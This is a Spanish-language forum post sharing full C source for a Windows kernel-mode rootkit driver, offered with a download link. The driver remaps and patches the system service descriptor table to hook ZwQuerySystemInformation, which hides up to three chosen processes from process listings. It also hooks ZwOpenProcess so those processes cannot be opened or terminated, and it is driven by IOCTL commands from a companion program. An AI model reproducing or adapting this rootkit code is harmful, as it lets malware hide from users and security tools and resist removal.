Las mejoras son:
-Ocultar procesos.
-Capacidad de proteger 3 procesos.
Bueno la parte de ocultar procesos lo hice diferente a los demas rootkit o a la mayoría, ya que en lugar de usar el metodo DKOM (Direct Kernel Object Manipulation) que consiste en modificar el array de EPROCESS modificando el Flink del proceso anterior de nuestro objetivo y el Blink del proceso siguiente. En lugar de eso hice un hook a la API ZwQuerySystemInformation, que si le pasan como primer parámetro un SystemProcessInformation devuelve un array de estructuras con la lista de los procesos, si se modifican lo punteros a la siguiente estructura se puede eliminar de cualquier lista los procesos que se deseen proteger. En este caso se ocultan hasta tres procesos, ademas de que estos procesos seguirán estando protegidos contra cierre en caso que se liste por fuerza bruta.
El "mensajero" sigue siendo el mismo de la versión anterior. Esta vez separe el código en dos archivos para separar funciones de estructuras y macros. Dejo el codigo del driver:
-main.c
#include <ntddk.h>
#include "hook.h"
//Declaramos la API para poder trabajar con ella.
NTSYSAPI NTSTATUS NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
typedef NTSTATUS (*TypZwQuerySysInfo)(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
TypZwQuerySysInfo ZwQuerySysInfoIni;
typedef NTSTATUS (*TypZwOpenProc)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
TypZwOpenProc ZwOpenProcessIni;
const WCHAR Device[]=L"\\device\\driverpid";
const WCHAR sLink[]=L"\\??\\driverpid";
USHORT ListPID[3];
UNICODE_STRING Dev, lnk;
//int ListPID;
int SearchPID(HANDLE PID){
int i;
for (i = 0; i < 3; i++){
if ((HANDLE)ListPID[i] == PID)
return i;
}
return -1;
}
int FreeIndex(){
int i;
for (i = 0; i < 3; i++){
if (ListPID[i] == 0)
return i;
}
return -1;
}
/*
Función que es llamada para cualquier interacción con el driver
Pero, solo maneja los I/O por medio de IRPs
*/
NTSTATUS IOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){
PIO_STACK_LOCATION Stack;
int *oBuffer;
int *iBuffer;
int i;
NTSTATUS Status = STATUS_SUCCESS;
Stack = IoGetCurrentIrpStackLocation(Irp);
iBuffer = oBuffer = Irp->AssociatedIrp.SystemBuffer;
if (oBuffer && iBuffer){
DbgPrint("Accesando a bloqueo de PID");
DbgPrint("Asociando buffers...");
if(Stack->Parameters.DeviceIoControl.InputBufferLength == sizeof(int)){
DbgPrint("Peticion recibida a PID: %d", *iBuffer);
if(Stack->Parameters.DeviceIoControl.OutputBufferLength == sizeof(int)){
DbgPrint("Revisando estado de lista.");
Irp->IoStatus.Information = sizeof(int);
switch(Stack->Parameters.DeviceIoControl.IoControlCode){
case Block:
{
//if (ListPID == 0){
i = FreeIndex();
if (i >= 0){
DbgPrint("Protegiendo PID %d.", *iBuffer);
ListPID[i] = (USHORT)*iBuffer;
*oBuffer = 1;
} else {
*oBuffer = 0;
DbgPrint("No hay espacio para proteger.");
}
break;
}
case Unblock:
{
DbgPrint("Eliminando proteccion");
i = SearchPID((HANDLE)*iBuffer);
if (i >= 0){
//if (ListPID != 0){
DbgPrint("Liberando PID %d.", *iBuffer);
ListPID[i] = 0;
*oBuffer = 1;
} else {
*oBuffer = 0;
DbgPrint("No hay procesos protegidos.");
}
}
} //Switch
} else {
Status = STATUS_BUFFER_TOO_SMALL;
Irp->IoStatus.Information = 0;
} //Buffer Small
} //In buffer
} //Asociar buffer
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
NTSTATUS NewZwQuerySysInfo(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength)
{
NTSTATUS Status;
PSYSTEM_PROCESS_INFORMATION Actual, Next;
int i;
Status = ZwQuerySysInfoIni(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
//DbgPrint("Llamada a la API original");
if (SystemInformationClass != 5)//Si no llaman a la API para los procesos no nos importa
return Status;
//DbgPrint("Han pedido informacion de procesos");
if (!NT_SUCCESS(Status))//En este punto han llamado para los procesos, pero algo fallo
return Status;
//Cargamos el primer proceso que es 0 (?)
Actual = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
//Si es el ultimo proceso esta entrada esta seteada en 0
//Por tanto si es el ultimo no se ejecuta el bloque while
while (Actual->NextEntryOffset){
//Cargamos el siguiente proceso
Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Actual + Actual->NextEntryOffset);
//Si el PID del proceso es igual al que estamos protegiendo
//Y el PID a proteger no es 0 (ningún PID a proteger)
i = SearchPID(Next->ProcessId);
if (Next->ProcessId != 0){
while (i >= 0){
DbgPrint("Ocultando Proceso: %d", ListPID[i]);
//En este caso si esta entrada esta seteada a 0 el siguiente proceso es el ultimo
if (Next->NextEntryOffset == 0)
//Así que hacemos que el proceso actual sea el ultimo
Actual->NextEntryOffset = 0;
else
Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset;
Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Next + Next->NextEntryOffset);
i = SearchPID(Next->ProcessId);
}
//Si no es el ultimo sumamos las entradas del actual y del siguiente
//Para saltar la entrada de nuestro proceso
//Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset;
//No salimos del break porque puede haber mas procesos a ocultar
}
//Cargamos el siguiente bloque de proceso
Actual = (PSYSTEM_PROCESS_INFORMATION)((char *)Actual + Actual->NextEntryOffset);
}
return Status;
}
NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL)
{
HANDLE PID;
__try //Utilizamos el bloque try para evitar BSOD
{
PID = ClientId->UniqueProcess;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
return STATUS_INVALID_PARAMETER; //Regresamos un estado invalido para que la aplicación se ocupe
}
//Verificamos el pid
if ((SearchPID(PID) >= 0) && (PID != 0)){
//if (PID == (HANDLE)ListPID){
DbgPrint("PID: %d", PID);
return STATUS_ACCESS_DENIED; //Retornamos acceso denegado
}
else return ZwOpenProcessIni(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); //Llamamos a la API nativa y retornamos el resultado correcto
}
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("Descargando driver...");
//Unhookeamos
UNHOOK_SYSCALL( ZwOpenProcess, ZwOpenProcessIni, NewZwOpenProcess );
UNHOOK_SYSCALL( ZwQuerySystemInformation, ZwQuerySysInfoIni, NewZwQuerySysInfo);
DbgPrint("Eliminando Hooks");
//Eliminamos la MDL
if(g_pmdlSystemCall)
{
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}
DbgPrint("Proteccion a SSDT restaurada");
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
int i;
NTSTATUS Status;
DriverObject->DriverUnload = OnUnload;
for(i=0; i<IRP_MJ_MAXIMUM_FUNCTION; i++)
DriverObject->MajorFunction[i] = IOControl;
RtlInitUnicodeString(&Dev,Device);
RtlInitUnicodeString(&lnk,sLink);
//Creamos la MDL para deshabilitar la protección de memoria
//g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
g_pmdlSystemCall = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4, FALSE, FALSE, NULL);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
Status = IoCreateDevice(DriverObject,0,&Dev,FILE_DEVICE_UNKNOWN,0,0,&DriverObject->DeviceObject);
if (NT_SUCCESS(Status)){
Status =IoCreateSymbolicLink(&lnk,&Dev);
DbgPrint("Creando device...");
if(!NT_SUCCESS(Status)){
IoDeleteDevice(DriverObject->DeviceObject);
DbgPrint("Error creando link simbolico");
}else
DbgPrint("SymbolicLink creado y cargado.");
}else
DbgPrint("Error creando el device.");
DbgPrint("Driver cargado.");
/*
Hooking de las APIs
Obtenemos la direccion de OpenProcess
*/
ZwOpenProcessIni =(TypZwOpenProc)(SYSTEMSERVICE(ZwOpenProcess));
DbgPrint("Hookeando OpenProcess...");
/*
Cambiamos la dirección de la SSDT por la nuestra
*/
HOOK_SYSCALL( ZwOpenProcess, NewZwOpenProcess, ZwOpenProcessIni );
ZwQuerySysInfoIni = (TypZwQuerySysInfo)(SYSTEMSERVICE(ZwQuerySystemInformation));
DbgPrint("Hookeando QuerySysInfo...");
HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySysInfo, ZwQuerySysInfoIni);
return Status;
}
#include <ntddk.h>
#ifndef _HOOK_H_
#define _HOOK_H_
#endif
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
typedef struct _SYSTEM_THREAD {
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
LONG BasePriority;
ULONG ContextSwitchCount;
ULONG State;
KWAIT_REASON WaitReason;
} SYSTEM_THREAD, *PSYSTEM_THREAD;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER Reserved[3];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE ProcessId;
HANDLE InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
ULONG PrivatePageCount;
VM_COUNTERS VirtualMemoryCounters;
IO_COUNTERS IoCounters;
SYSTEM_THREAD Threads[0];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
#define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
typedef DWORD (ULONG);
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
Las mismas advertencias de la versión pasada.
Por cierto a alguien se le ocurre un nombre, que "Protector de procesos" no es un buen nombre
Descarga: [Enlace externo eliminado para invitados]
Saludos!